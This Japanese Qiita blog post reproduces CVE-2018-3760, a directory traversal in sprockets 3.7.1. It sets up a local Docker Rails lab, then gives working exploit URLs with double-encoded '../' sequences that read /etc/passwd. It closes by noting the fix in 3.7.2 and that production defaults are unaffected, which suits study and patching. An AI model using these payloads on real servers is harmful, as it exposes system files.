2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

CVE-2018-3760を再現確認してみた

Posted at

Breaking Parser Logic!というblack hat usa 2018のpdfを眺めていたら、railsという文字が見えたので、そこだけ再現確認してみました

実際には、sprocketsの脆弱性らしい

なお、先のpdfは、railsがメインではないです
サーバー毎にチェックが違っていて、reverse proxyの時に迂回していく話とか、読んでいてためになるので、おすすめです。

環境構築

FROM ruby:alpine
  
WORKDIR /myapp
COPY Gemfile .

RUN apk upgrade --no-cache && \
    apk add --update --no-cache \
      postgresql-client \
      nodejs \
      tzdata \
      vim \
      ngrep

RUN apk add --update --no-cache --virtual=build-dependencies \
      build-base \
      curl-dev \
      linux-headers \
      libxml2-dev \
      libxslt-dev \
      postgresql-dev \
      sqlite-dev \
      ruby-dev \
      yaml-dev \
      zlib-dev

RUN gem install bundler && \
    bundle update -j4
source "https://rubygems.org/"
  
gem "pry"

gem "rails"
gem "sqlite3"
gem "puma"

group :development do
  gem "brakeman"
end

image作成から、コンテナ起動

docker build --no-cache --rm --tag rails .
docker images
docker run -it -p 3000:3000 imageのID /bin/sh
bundle exec rails new blog && cd blog
echo "gem 'sprockets', '3.7.1'" >> Gemfile 
bundle update
bundle exec rails server

途中でめんどくさくなったので、Dockerfileをはじめ、色々と手抜きで変ですが、動作確認に影響はないため、今回はスルーします。

  • 動作確認
    スクリーンショット 2018-10-24 13.21.44.png

検証

以下にアクセスして、アプリのパスを確認する

http://127.0.0.1:3000/assets/file:%2f%2f/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

スクリーンショット 2018-10-24 13.21.33.png

あとは、最初のURLの間に、アプリの場所を指定してアクセスする

http://127.0.0.1:3000/assets/file:%2f%2f/myapp/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
  • 「myapp/blog/app/assets/images/」がくっつけた部分

スクリーンショット 2018-10-24 13.21.37.png

sprockets 3.7.2にして同様のことをすると、forbiddenと返される

スクリーンショット 2018-10-24 13.25.39.png

なお、assets.compile=falseの環境(productionのdefault設定)だと、下記のような画面になる
(起動時にbundle exec rails server -e production)

スクリーンショット 2018-10-24 13.24.09.png

まとめ

  • 確かにディレクトリトラバーサルが起きる
  • production環境のようなassets.compile=falseでは発生しないので、一般的には影響はなさそう
  • どちらにしろ、3.7.2では発生しないので、updateしておけばOK!!
2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?